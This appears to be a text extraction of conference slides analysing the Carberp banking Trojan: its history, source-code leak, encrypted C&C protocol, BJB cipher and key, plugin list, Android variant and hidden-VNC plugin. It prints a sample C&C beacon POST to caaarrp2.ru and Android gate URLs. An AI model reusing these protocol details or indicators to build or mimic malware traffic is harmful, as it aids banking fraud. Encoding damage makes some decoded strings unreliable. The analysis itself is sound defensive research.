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Introduction 

ƷOutline: 

Ʒ The story of the ñBanking Trojanò 

Ʒ Communication protocol 

Ʒ Evolution of the plugin support 

Ʒ Technical analysis of features: 

ƷBackdoor capabilities (Remote Desktops) 

ƷBitcoin mining module 

ƷModifying remote banking interfaces in Java 

Ʒ Conclusion 
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Introduction 

ƷCore features: 

Ʒ ñBanking Trojanò definition: any bot containing a form of 

specific information stealing 

Ʒ Carberp is a banking Trojan in a strict sense 

Ʒ Remote Banking Interfaces: 

ƷWeb pages (attacked through Man-in-the-Browser, both form 

grabbing and webinjects). Many banks targeted. 

ƷExecutable interfaces (specific plugins; hooked 

EnumChildProcesses with GetWindowText involved); iFOBS 

banking system; online traders. 

ƷJava interfaces (modifying payment modules on-the-fly) 
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Introduction 

ƷCarberp as a mainstream Trojan: 

Ʒ ñCybercrime in Russia: Trends and issuesò, CARO 

Workshop 2011 

Ʒ  ñThe Carberp crimekit and the reshipping incidentò, Virus 

Bulletin, 2012 

Ʒ ñCarberp Evolution and BlackHole: Investigation Beyond the 

Event Horizonò, CARO Workshop 2012 

Ʒ ñTargeted attacks on Russian banksò, CARO Workshop 

2013 

Ʒ (academic paper) Dolmans R., Katz W.:  ñRP1: Carberp 

Malware analysisñ, System and Network Engineering, 

University of Amsterdam, 2013 

Ʒ ñDissecting Banking Trojan Carberpò, RSA Europe, 2013 

(the first talk after the leak of source code) 
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Introduction 

ƷThe story: 

Ʒ The first appearance in autumn 2010  

Ʒ The split into two main branches in spring 2011 (RC2 resp. 

RC4 communication protocol) 

Ʒ Arrest of a group of cybercriminals in March 2012 (RC4 

branch ended) 

Ʒ Carberp in Android in December 2012  

Ʒ Arrest of  the second group of cybercriminals in April 2013 

(RC2 branch faded away) 

Ʒ The leak of Carberp source code in June 2013 

Ʒ New C&C servers seen alive in September/October 2013 
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Introduction 

ƷNumber of observed C&C domains 

Ʒ ~80 domains for the initial version 

Ʒ ~60 domains for the RC4 branch 

Ʒ ~800 domains for the RC2 branch (still alive) 

ƷEstimate of distribution based on telemetry: 
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The Carberp Leak 

ƷThe Carberp leak (June 2013): 

Ʒ Unpacked ~5,8 GB 

Ʒ Source code validates previously published analyses 

Ʒ Contains not only the source code, but also screenshots, 

communication and debug logs, etc. 

Ʒ Source code related to other Trojans (ZeuS, Rovnix ) 

Ʒ Malware tools (SpyEye, RDPDoor, Stoned bootkit 

framework/Sinowal/Mebload, BlackEnergy/Phdet, 

Olmarik/Alureon)  

Ʒ Cryptors (Mystic Compressor) 

Ʒ Most of targeted RBIs 

Ʒ Log of network traffic from 20th April 2012 



Presenter Logo 
#RSAC 

The Carberp Leak 

ƷConversation log: (1/2) 
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The Carberp Leak 

ƷConversation log: (2/2) 
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The Carberp Leak 

ƷDebugging process: (1/2) 
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The Carberp Leak 

ƷDebugging process: (2/2) 
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Communication Protocol 

Ʒ A typical POST request: 

 

 

 

 

 

 

 

 

Ʒ Content: 

 

POST 
/kmqkcicalxrntrngwdxjyxztxcqkoyjnbdoafqirgnwwvpcjqgluco
vna.phtm HTTP/1.1 
Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; 
Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) 
Host: caaarrp2.ru 
Connection: close 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 60 

kfq=u%2FFPG1eImmXBEb3mG5VomEqE9ivVw2uh550qE1K2
LoqWfJkbTeN%3D 
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Communication Protocol 

ƷSteps of decryption: 

Ʒ Substitution to unsafe characters: 

 

 

Ʒ Extraction of a cryptographic salt for RC2: 

 

Ʒ Extraction of an encrypted message: 

 

Ʒ Debase64 and RC2 decryption with a hardcoded key 

Ʒ (optional) a custom algorithm for data containing a header 

beginning with ñBJBò  

Ʒ Result: 

 

 

 

 

 

 

kfq=u/FPG1eImmXBEb3mG5VomEqE9ivVw2uh550qE1K2Loq
WfJkbTeN= 

u/FP + bTeN 

G1eImmXBEb3mG5VomEqE9ivVw2uh550qE1K2LoqWfJ 

botuid=<prefix>0ғƘŀǎƘ ƻŦ ǾƛŎǘƛƳΩǎ ŜƴǾƛǊƻƴƳŜƴǘҔ 
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Communication Protocol 

Ʒ Custom BJB algorithm: 

 

Key Cipher: 0x7C 0x1B 0xA9 

0x31 0x31 0x31 0x31 

0x32 0x32 0x33 0x34 

0x33 0x33 0x35 0x37 

0x34 0x34 0x37 0x3A 

0x35 0x35 0x39 0x3D 

0x36 0x36 0x3b 0x40 

0x37 0x37 0x3d 0x43 

0x38 0x38 0x3f 0x46 

0x39 0x39 0x41 0x49 

Plain: 0x4DόΨaΩύ 0x5AόΨ½Ωύ 0x90 
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Communication Protocol 

ƷPayload encrypted in BJB format: 

 

 

 

ƷBJB header structure (data follow): 

 

 

typedef struct HEADERBJB 
{ 
        char au8Magic[3],  κκΩ.W.Ω 
 
        uint32_t u32KeySize,  //length of au8Key 
 
        uint8_t au8Key[0] 
 
}; 
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Communication Protocol 

ƷThe file wndsksi.inf contains a list of available plugins 

ƷAfter decryption using BJB algorithm with a hardcoded 

key ñGDlet64Eò (example from August 2013): 

 RtlExt.plug|vXdwV89SFZ1hs.tiff 
addtrust.plug|zG3ktXqcVbNKhR5v1Snw48H7pxmZBQTr.bmp 
bki.plug|gr1z4v8TV.psd 
bot.plug|zJyZx0aVGDmHFWNQ29AXKSMbncp.bmp 
btc.plug|vcCQPTWmrDRGKX0aNAz6dZkSMpxs1tw.tiff 
btcm.plug|rnSfcRNw5j1WZgDzG76.tiff 
ddos.plug|kXJjfYCGmKHbDhaw2Mc7ANxy.tiff 
fdi.plug|xd73TpG41c.psd 
iFOBS.plug|kvrzQq3nTdJKDx2ZPMYfCB.bmp 
rdp.plug|GQcTzqS9Y1CJBtpHPnKvkRa.tiff 
sb.plug|GQpq0Vs94vdx.tiff 
vnc.plug|dsN6QSHYMPb3qZg7zv5t1rGF8JfW2nh.tiff 
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Evolution of Functionality 

ƷEarly evolution of plugin support: 
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Evolution of Functionality 

ƷRecent evolution of plugin support: 
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Evolution of Functionality 

ƷCarberp for Android (Citmo): 
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Evolution of Functionality 

ƷCarberp for Android (Android:Citmo, December 2012): 

Ʒ Extending fraudulent activities to mobile devices (multi-

factor authentication) 

Ʒ Contacting the gate url in the form of the first Carberp group 

(RC4, the keyword e in the path replaced with m) 

 

 

Ʒ SberSafe, VkSafe, AlfaSafe application 

Ʒ Removed from Google Play in a short time 

 

 

 

 

 

 

http://berstaska.com/m/fo125kepro 
http://berstaska.com/m/as225kerto  
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Plugin Support 

 

 

 

 

 

 

 

 

 

 

Ʒ vnc.plug  
Ʒdrops a user mode rootkit 

Ʒx86 resp. x64 version called tmp1.exe, resp. tmp2.exe 

Ʒ tmpX.exe 

ƷExecutes a new instance of svchost.exe 

ƷInjects an intermediate malicious thread into svchost.exe 

ƷThe intermediate thread enumerates all running processes and 

injects threads into them, which install API hooks hiding a secret 

desktop 

ƷPIDs of infected processes stored in mutex objects 
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Plugin Support 

Ʒvnc.plug ï process listening at port 5900 

 

 

 

 

ƷRFB (remote framebuffer) protocol signature: 

 

 

 

 


